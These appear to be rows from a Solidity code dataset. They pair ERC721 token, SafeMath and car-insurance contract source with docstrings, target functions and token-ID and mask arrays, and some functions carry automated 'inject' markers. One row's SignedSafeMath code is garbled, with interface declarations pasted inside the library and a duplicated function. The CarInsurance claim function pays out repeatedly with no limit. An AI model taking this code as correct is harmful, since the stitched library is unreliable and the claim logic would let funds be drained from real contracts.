_mintedTokensCount[to].increment();
emit Transfer(address(0), to, tokenId);
return tokenId;
}
/*** Token URIs ***/
/**
* @dev Internal function to set the token URI for a given token.
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to set its URI
* @param uri string URI to assign
*/
function _setTokenURI(uint256 tokenId, string memory uri) internal {
require(
_exists(tokenId),
"NON_EXISTENT_TOKEN"
);
_tokenURIs[tokenId] = uri;
}
/**
* Throws if the token ID does not exist. May return an empty string.
* @param tokenId uint256 ID of the token to query
* @return URI for a given token ID.
*/
function tokenURI(uint256 tokenId) public view returns (string memory) { //inject PUBLIC FUNC TO EXTERNAL
require(
_exists(tokenId),
"NON_EXISTENT_TOKEN"
);
return _tokenURIs[tokenId];
}
/*** Token TimeSlot data and metadata ***/
function _isValidTimeSlot(
string memory contentId,
uint48 startTime,
uint48 endTime,
uint48 auctionEndTime,
uint32 federationId
) internal view returns (bool) {
require(
registry.isContentIdRegisteredToCaller(federationId, contentId),
"CONTENT_ID_NOT_REGISTERED_TO_CALLER"
);
require(
startTime > auctionEndTime,
"START_TIME_AFTER_AUCTION_END_TIME"
);
require(
endTime > startTime,
"START_TIME_AFTER_END_TIME"
);
return true;
}
function _isContentIdMappedToMinter(
string memory contentId
) internal view returns (bool) {
ContentIdStruct[] memory a = _tokenMinterToContentIds[msg.sender];
bool foundMatch = false;
for (uint i = 0; i < a.length; i++) {
if (stringsMatch(contentId, a[i].contentId)) {
foundMatch = true;
}
}
return foundMatch;
}
function _isPropertyNameMappedToMinter(
string memory contentId,
string memory propertyName
) internal view returns (bool) {
PropertyNameStruct[] memory a = _tokenMinterToPropertyNames[msg.sender][contentId];
bool foundMatch = false;
for (uint i = 0; i < a.length; i++) {
if (stringsMatch(propertyName, a[i].propertyName)) {
foundMatch = true;
}
}
return foundMatch;
}
function _setTokenTimeSlot(
uint256 tokenId,
string memory contentId,
string memory propertyName,
uint48 startTime,
uint48 endTime,
uint48 auctionEndTime,
uint16 category,
bool isSecondaryTradingEnabled
) internal {
require(
_exists(tokenId),
"NON_EXISTENT_TOKEN"
);
TimeSlot memory _timeSlot = TimeSlot({
minter: address(_msgSender()),
contentId: string(contentId),
propertyName: string(propertyName),
startTime: uint48(startTime),
endTime: uint48(endTime),
auctionEndTime: uint48(auctionEndTime),
category: uint16(category),
isSecondaryTradingEnabled: bool(isSecondaryTradingEnabled)
});
_tokenToTimeSlot[tokenId] = _timeSlot;
if (!_isContentIdMappedToMinter(contentId)) {
_tokenMinterToContentIds[_msgSender()].push( ContentIdStruct(contentId) );
}
if (!_isPropertyNameMappedToMinter(contentId, propertyName)) {
_tokenMinterToPropertyNames[_msgSender()][contentId].push( PropertyNameStruct(propertyName) );
}
}
function tokenTimeSlot(uint256 tokenId) public view returns (
address minter,
address owner,
string memory contentId,
string memory propertyName,
uint48 startTime,
uint48 endTime,
uint48 auctionEndTime,
uint16 category,
bool isSecondaryTradingEnabled,
uint32 federationId
) {
require(
_exists(tokenId),
"NON_EXISTENT_TOKEN"
);
TimeSlot memory _timeSlot = _tokenToTimeSlot[tokenId];
uint32 _federationId = tokenToFederationId[tokenId];
return (
_timeSlot.minter,
ownerOf(tokenId),
_timeSlot.contentId,
_timeSlot.propertyName,
_timeSlot.startTime,
_timeSlot.endTime,
_timeSlot.auctionEndTime,
_timeSlot.category,
_timeSlot.isSecondaryTradingEnabled,
_federationId
);
}
/*** Token minter queries ***/
/// @dev Look up all Content IDs a Minter has tokenized TimeSlots for.
/// We're not getting this from the Registry because we want to keep
/// a separate record here of all Content ID's the acct has *ever*
/// minted tokens for. The registry is for keeping track of their
/// current (not necessarily past) Content ID registrations.
function tokenMinterContentIds(address minter) public view returns (string[] memory) { //inject PUBLIC FUNC TO EXTERNAL
ContentIdStruct[] memory m = _tokenMinterToContentIds[minter];
string[] memory r = new string[](m.length);
for (uint i = 0; i < m.length; i++) {
r[i] = m[i].contentId;
}
return r;
}
/// @dev Look up all Property Names a Minter has created Time Slots for
/// with a particular Content ID
function tokenMinterPropertyNames(
address minter,
string calldata contentId
) external view returns (string[] memory) {
PropertyNameStruct[] memory m = _tokenMinterToPropertyNames[minter][contentId];
string[] memory r = new string[](m.length);
for (uint i = 0; i < m.length; i++) {
r[i] = m[i].propertyName;
}
return r;
}
/**
* Return all the Token IDs minted by a given account.
* @dev This method MUST NEVER be called by smart contract code. First, it's fairly
* expensive (it walks the entire _tokenIds array looking for tokens belonging to minter),
* but it also returns a dynamic array, which is only supported for web3 calls, and
* not contract-to-contract calls (at this time).
*/
function tokensMintedBy(address minter) public view returns (uint256[] memory) { //inject PUBLIC FUNC TO EXTERNAL
require(
minter != address(0),
"CANNOT_QUERY_ZERO_ADDRESS"
);
uint256 tokenCount = _mintedTokensCount[minter].current();
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalTokens = totalSupply();
uint256 resultIndex = 0;
// All Tokens have IDs starting at 1 and increase
// sequentially up to the total supply count.
uint256 tokenId;
for (tokenId = 1; tokenId <= totalTokens; tokenId++) {
if (_tokenToTimeSlot[tokenId].minter == minter) {
result[resultIndex] = tokenId;
resultIndex++;
}
}
return result;
}
}
/*** Token balance and ownership queries ***/
/**
* @dev Gets the total number of tokens ever minted.
*/
function totalSupply() public view returns (uint256) {
return _tokenIds.current();
}
/**
* @dev Gets the balance of the specified address.
* @param tokenOwner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address tokenOwner) public view returns (uint256) {
require(
tokenOwner != address(0),
"CANNOT_QUERY_ZERO_ADDRESS"
);
return _ownedTokensCount[tokenOwner].current();
}
/**
* @dev Gets the owner of the specified token ID.
* @param tokenId uint256 ID of the token to query the owner of
* @return address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 tokenId) public view returns (address) {
address tokenOwner = _tokenOwner[tokenId];
return tokenOwner;
}
/**
* @param tokenOwner The owner whose tokens we are interested in.
* @dev This method MUST NEVER be called by smart contract code. First, it's fairly
* expensive (it walks the entire _tokenIds array looking for tokens belonging to owner),
* but it also returns a dynamic array, which is only supported for web3 calls, and
* not contract-to-contract calls (at this time).
*/
function tokensOfOwner(address tokenOwner) public view returns(uint256[] memory) { //inject PUBLIC FUNC TO EXTERNAL
uint256 tokenCount = balanceOf(tokenOwner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalTokens = totalSupply();
uint256 resultIndex = 0;
// All Tokens have IDs starting at 1 and increase
// sequentially up to the total count.
uint256 tokenId;
for (tokenId = 1; tokenId <= totalTokens; tokenId++) {
if (_tokenOwner[tokenId] == tokenOwner) {
result[resultIndex] = tokenId;
resultIndex++;
}
}
return result;
}
}
/*** Approvals & Transfers ***/
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param to address to be approved for the given token ID
* @param tokenId uint256 ID of the token to be approved
*/
function approve(address to, uint256 tokenId)
public
whenNotPaused
{
address tokenOwner = ownerOf(tokenId);
require(
to != tokenOwner,
"APPROVAL_IS_REDUNDANT"
);
require(
_msgSender() == tokenOwner || isApprovedForAll(tokenOwner, _msgSender()),
"CALLER_NOT_AUTHORIZED"
);
_tokenApprovals[tokenId] = to;
emit Approval(tokenOwner, to, tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* Reverts if the token ID does not exist.
* @param tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 tokenId) public view returns (address) {
require(
_exists(tokenId),
"NON_EXISTENT_TOKEN"
);
return _tokenApprovals[tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf.
* @param to operator address to set the approval
* @param approved representing the status of the approval to be set
*/
function setApprovalForAll(address to, bool approved)
public
whenNotPaused
{
require(to != _msgSender(), "CALLER_CANNOT_APPROVE_SELF");
_operatorApprovals[_msgSender()][to] = approved;
emit ApprovalForAll(_msgSender(), to, approved);
}
/**
* @dev Tells whether an operator is approved by a given token owner.
* @param tokenOwner token owner address which you want to query the approval of
* @param operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the token owner
*/
function isApprovedForAll(address tokenOwner, address operator)
public
view
returns (bool)
{
return _operatorApprovals[tokenOwner][operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address.
* Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
* Requires the msg.sender to be the owner, approved, or operator.
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function transferFrom(address from, address to, uint256 tokenId)
public
whenNotPaused
{
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"UNAUTHORIZED_TRANSFER"
);
address minter = _tokenToTimeSlot[tokenId].minter;
address owner = ownerOf(tokenId);
uint32 federationId = tokenToFederationId[tokenId];
if (_tokenToTimeSlot[tokenId].isSecondaryTradingEnabled == false) {
require(
isSecondaryTrade(from, to, tokenId) == false,
"SECONDARY_TRADING_DISABLED"
);
}
require(
registry.isAuthorizedTransferFrom(federationId, from, to, tokenId, minter, owner),
"UNAUTHORIZED_TRANSFER"
);
_transferFrom(from, to, tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement {IERC721Receiver-onERC721Received},
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(address from, address to, uint256 tokenId) public {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement {IERC721Receiver-onERC721Received},
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the _msgSender() to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
whenNotPaused
{
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"UNAUTHORIZED_TRANSFER"
);
address minter = _tokenToTimeSlot[tokenId].minter;
address owner = ownerOf(tokenId);
uint32 federationId = tokenToFederationId[tokenId];
if (_tokenToTimeSlot[tokenId].isSecondaryTradingEnabled == false) {
require(
isSecondaryTrade(from, to, tokenId) == false,
"SECONDARY_TRADING_DISABLED"
);
}
require(
registry.isAuthorizedTransferFrom(federationId, from, to, tokenId, minter, owner),
"UNAUTHORIZED_TRANSFER"
);
_safeTransferFrom(from, to, tokenId, data);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg.sender to be the owner, approved, or operator
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
* @param data bytes data to send along with a safe transfer check
*/
function _safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
internal
{
_transferFrom(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, data),
"TRANSFER_TO_NON_ERC721RECEIVER_IMPLEMENTER"
);
}
/**
* @dev Returns whether the specified token exists.
* @param tokenId uint256 ID of the token to query the existence of
* @return bool whether the token exists
*/
function _exists(uint256 tokenId) internal view returns (bool) {
address tokenOwner = _tokenOwner[tokenId];
return tokenOwner != address(0);
}
/**
* @dev Returns whether the given spender can transfer a given token ID.
* @param spender address of the spender to query
* @param tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
returns (bool)
{
require(
_exists(tokenId),
"NON_EXISTENT_TOKEN"
);
address tokenOwner = ownerOf(tokenId);
return (spender == tokenOwner || getApproved(tokenId) == spender || isApprovedForAll(tokenOwner, spender));
}
/**
* @dev Internal function to transfer ownership of a given token ID to another address.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender
* @param from current owner of the token
* @param to address to receive the ownership of the given token ID
* @param tokenId uint256 ID of the token to be transferred
*/
function _transferFrom(address from, address to, uint256 tokenId) internal {
require(
ownerOf(tokenId) == from,
"UNAUTHORIZED_TRANSFER"
);
require(
to != address(0),
"TRANSFER_TO_ZERO_ADDRESS"
);
_clearApproval(tokenId);
_ownedTokensCount[from].decrement();
_ownedTokensCount[to].increment();
_tokenOwner[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* This function is deprecated.
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory data)
internal
returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data);
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Private function to clear current approval of a given token ID.
* @param tokenId uint256 ID of the token to be transferred
*/
function _clearApproval(uint256 tokenId) private {
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
/*** Burn Tokens ***/
// solhint-disable
/**
* @dev Customized for Microsponsors
* https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721Burnable.sol * @dev Burns a specific ERC721 token.
* @param tokenId uint256 id of the ERC721 token to be burned
*/
// solhint-enable
function burn(uint256 tokenId) public whenNotPaused {
address minter = _tokenToTimeSlot[tokenId].minter;
address tokenOwner = ownerOf(tokenId);
uint32 federationId = tokenToFederationId[tokenId];
if (tokenOwner == minter) {
require(
registry.isMinter(federationId, _msgSender()),
"UNAUTHORIZED_BURN"
);
}
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"UNAUTHORIZED_BURN"
);
_burn(tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use {_burn} instead.
* @param tokenOwner owner of the token to burn
* @param tokenId uint256 ID of the token being burned
*/
function _burn(address tokenOwner, uint256 tokenId) internal {
require(
ownerOf(tokenId) == tokenOwner,
"UNAUTHORIZED_BURN"
);
_clearApproval(tokenId);
_ownedTokensCount[tokenOwner].decrement();
_tokenOwner[tokenId] = address(0);
// Clear token URIs (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
// Clear time slot data
delete _tokenToTimeSlot[tokenId];
emit Transfer(tokenOwner, address(0), tokenId);
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* @param tokenId uint256 ID of the token being burned
*/
function _burn(uint256 tokenId) internal {
_burn(ownerOf(tokenId), tokenId);
}
/*** Helper fns ***/
function stringsMatch (
string memory a,
string memory b
)
private
pure
returns (bool)
{
return (keccak256(abi.encodePacked((a))) == keccak256(abi.encodePacked((b))) );
}
function isSecondaryTrade (
address from,
address to,
uint256 tokenId
)
internal
view
returns (bool)
{
address minter = _tokenToTimeSlot[tokenId].minter;
if (from == minter || to == minter) {
return false;
} else {
return true;
}
}
}
// File: contracts/Microsponsors.sol
/**
* Customized for Microsponsors
* from Open Zeppelin's ERC721Metadata contract, which is MIT Licensed:
* https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/ERC721Metadata.sol
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
contract Microsponsors is ERC721 {
// Token name
string private _name;
// Token symbol
string private _symbol;
/*
* bytes4(keccak256('name()')) == 0x06fdde03
* bytes4(keccak256('symbol()')) == 0x95d89b41
* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/**
* @dev Constructor function
*/
constructor (string memory name, string memory symbol, address registryAddress) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
super.updateRegistryAddress(registryAddress);
}
/**
* @dev Gets the token name.
* @return string representing the token name
*/
function name() public view returns (string memory) { //inject PUBLIC FUNC TO EXTERNAL
return _name;
}
/**
* @dev Gets the token symbol.
* @return string representing the token symbol
*/
function symbol() public view returns (string memory) { //inject PUBLIC FUNC TO EXTERNAL
return _symbol;
}
} | * @dev Gets the balance of the specified address. @param tokenOwner address to query the balance of @return uint256 representing the amount owned by the passed address/ | function balanceOf(address tokenOwner) public view returns (uint256) {
require(
tokenOwner != address(0),
"CANNOT_QUERY_ZERO_ADDRESS"
);
return _ownedTokensCount[tokenOwner].current();
}
| 922,029 | [
1,
3002,
326,
11013,
434,
326,
1269,
1758,
18,
225,
1147,
5541,
1758,
358,
843,
326,
11013,
434,
327,
2254,
5034,
5123,
326,
3844,
16199,
635,
326,
2275,
1758,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
11013,
951,
12,
2867,
1147,
5541,
13,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
203,
3639,
2583,
12,
203,
5411,
1147,
5541,
480,
1758,
12,
20,
3631,
203,
5411,
315,
39,
16791,
67,
10753,
67,
24968,
67,
15140,
6,
203,
3639,
11272,
203,
203,
3639,
327,
389,
995,
329,
5157,
1380,
63,
2316,
5541,
8009,
2972,
5621,
203,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x2B42a6D12750e78eA88FAFAd58B35A47382fd020/sources/BeverageFeeSplitExtension.sol | Dependency file: @openzeppelin/contracts/math/SignedSafeMath.sol pragma solidity >=0.6.0 <0.8.0;* @title SignedSafeMath @dev Signed math operations with safety checks that revert on error./ | library SignedSafeMath {
int256 constant private _INT256_MIN = -2**255;
function getFee(ISetToken _setToken) external view returns (uint256);
function accrueFee(ISetToken _setToken) external;
function updateStreamingFee(ISetToken _setToken, uint256 _newFee) external;
function updateFeeRecipient(ISetToken _setToken, address _newFeeRecipient) external;
function initialize(ISetToken _setToken, FeeState memory _settings) external;
}
function mul(int256 a, int256 b) internal pure returns (int256) {
if (a == 0) {
return 0;
}
require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow");
int256 c = a * b;
require(c / a == b, "SignedSafeMath: multiplication overflow");
return c;
}
function getFee(ISetToken _setToken) external view returns (uint256);
function accrueFee(ISetToken _setToken) external;
function updateStreamingFee(ISetToken _setToken, uint256 _newFee) external;
function updateFeeRecipient(ISetToken _setToken, address _newFeeRecipient) external;
function initialize(ISetToken _setToken, FeeState memory _settings) external;
}
function mul(int256 a, int256 b) internal pure returns (int256) {
if (a == 0) {
return 0;
}
require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow");
int256 c = a * b;
require(c / a == b, "SignedSafeMath: multiplication overflow");
return c;
}
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0, "SignedSafeMath: division by zero");
require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow");
int256 c = a / b;
return c;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow");
return c;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow");
return c;
}
}
| 9,165,165 | [
1,
7787,
585,
30,
632,
3190,
94,
881,
84,
292,
267,
19,
16351,
87,
19,
15949,
19,
12294,
9890,
10477,
18,
18281,
10878,
18035,
560,
1545,
20,
18,
26,
18,
20,
411,
20,
18,
28,
18,
20,
31,
225,
16724,
9890,
10477,
225,
16724,
4233,
5295,
598,
24179,
4271,
716,
15226,
603,
555,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
12083,
16724,
9890,
10477,
288,
203,
565,
509,
5034,
5381,
3238,
389,
3217,
5034,
67,
6236,
273,
300,
22,
636,
10395,
31,
203,
203,
565,
445,
2812,
1340,
12,
45,
694,
1345,
389,
542,
1345,
13,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
565,
445,
4078,
86,
344,
14667,
12,
45,
694,
1345,
389,
542,
1345,
13,
3903,
31,
203,
565,
445,
1089,
15973,
14667,
12,
45,
694,
1345,
389,
542,
1345,
16,
2254,
5034,
389,
2704,
14667,
13,
3903,
31,
203,
565,
445,
1089,
14667,
18241,
12,
45,
694,
1345,
389,
542,
1345,
16,
1758,
389,
2704,
14667,
18241,
13,
3903,
31,
203,
565,
445,
4046,
12,
45,
694,
1345,
389,
542,
1345,
16,
30174,
1119,
3778,
389,
4272,
13,
3903,
31,
203,
97,
203,
203,
203,
203,
203,
203,
565,
445,
14064,
12,
474,
5034,
279,
16,
509,
5034,
324,
13,
2713,
16618,
1135,
261,
474,
5034,
13,
288,
203,
3639,
309,
261,
69,
422,
374,
13,
288,
203,
5411,
327,
374,
31,
203,
3639,
289,
203,
203,
3639,
2583,
12,
5,
12,
69,
422,
300,
21,
597,
324,
422,
389,
3217,
5034,
67,
6236,
3631,
315,
12294,
9890,
10477,
30,
23066,
9391,
8863,
203,
203,
3639,
509,
5034,
276,
273,
279,
380,
324,
31,
203,
3639,
2583,
12,
71,
342,
279,
422,
324,
16,
315,
12294,
9890,
10477,
30,
23066,
9391,
8863,
203,
203,
3639,
327,
276,
31,
203,
565,
289,
203,
203,
565,
445,
2812,
1340,
12,
45,
694,
1345,
389,
542,
1345,
13,
3903,
1476,
1135,
261,
11890,
2
] |
pragma solidity ^0.4.15;
import './Insurance.sol';
contract CarInsurance is Insurance {
struct InsuranceTaker {
bool banned;
bool policyValid;
uint256 lastPayment;
uint256 numAccidents;
}
mapping(address => InsuranceTaker) public insuranceTakers;
uint256 public paymentPeriod = 30 days;
uint256 public premiumPerAccident = 0.1 ether;
uint256 public damagePayment = 1 ether;
function underwrite() payable public {
InsuranceTaker storage customer = insuranceTakers[msg.sender];
// do not accept new customers that have been banned previously
require(!customer.banned);
// in order to underwrite the customer needs to pay the first premium upfront
require(msg.value == getPremium(msg.sender));
customer.lastPayment = now;
customer.policyValid = true;
}
function update(address insuranceTaker) public {
// if insurance taker did not pay within required interval they will loose their insurance
// and will be banned for future insurance policies
InsuranceTaker storage customer = insuranceTakers[insuranceTaker];
if (customer.policyValid && customer.lastPayment + paymentPeriod < now) {
customer.policyValid = false;
customer.banned = true;
}
}
// checks if an insurance taker is currently insured
function isInsured(address insuranceTaker) public constant returns (bool insured) {
InsuranceTaker storage customer = insuranceTakers[insuranceTaker];
return customer.policyValid &&
!customer.banned &&
customer.lastPayment + paymentPeriod >= now;
}
// calculates the premium for an insurance taker
function getPremium(address insuranceTaker) constant public returns (uint256 premium) {
InsuranceTaker storage customer = insuranceTakers[insuranceTaker];
return (customer.numAccidents + 1) * premiumPerAccident;
}
// allows premium to be paid by separate account
function payPremiumFor(address insuranceTaker) public payable {
InsuranceTaker storage customer = insuranceTakers[insuranceTaker];
// only accept correct amount
require(msg.value == getPremium(insuranceTaker));
// check if last payment is overdue, if so -> ban
update(insuranceTaker);
// only accept payment from valid insurance takers
require(isInsured(insuranceTaker));
customer.lastPayment = now;
}
function claim() public {
require(isInsured(msg.sender));
InsuranceTaker storage customer = insuranceTakers[msg.sender];
msg.sender.transfer(damagePayment);
customer.numAccidents++;
}
} | do not accept new customers that have been banned previously in order to underwrite the customer needs to pay the first premium upfront | function underwrite() payable public {
InsuranceTaker storage customer = insuranceTakers[msg.sender];
require(!customer.banned);
require(msg.value == getPremium(msg.sender));
customer.lastPayment = now;
customer.policyValid = true;
}
| 5,438,829 | [
1,
2896,
486,
2791,
394,
29380,
716,
1240,
2118,
324,
10041,
7243,
316,
1353,
358,
3613,
2626,
326,
6666,
4260,
358,
8843,
326,
1122,
23020,
5077,
731,
10211,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
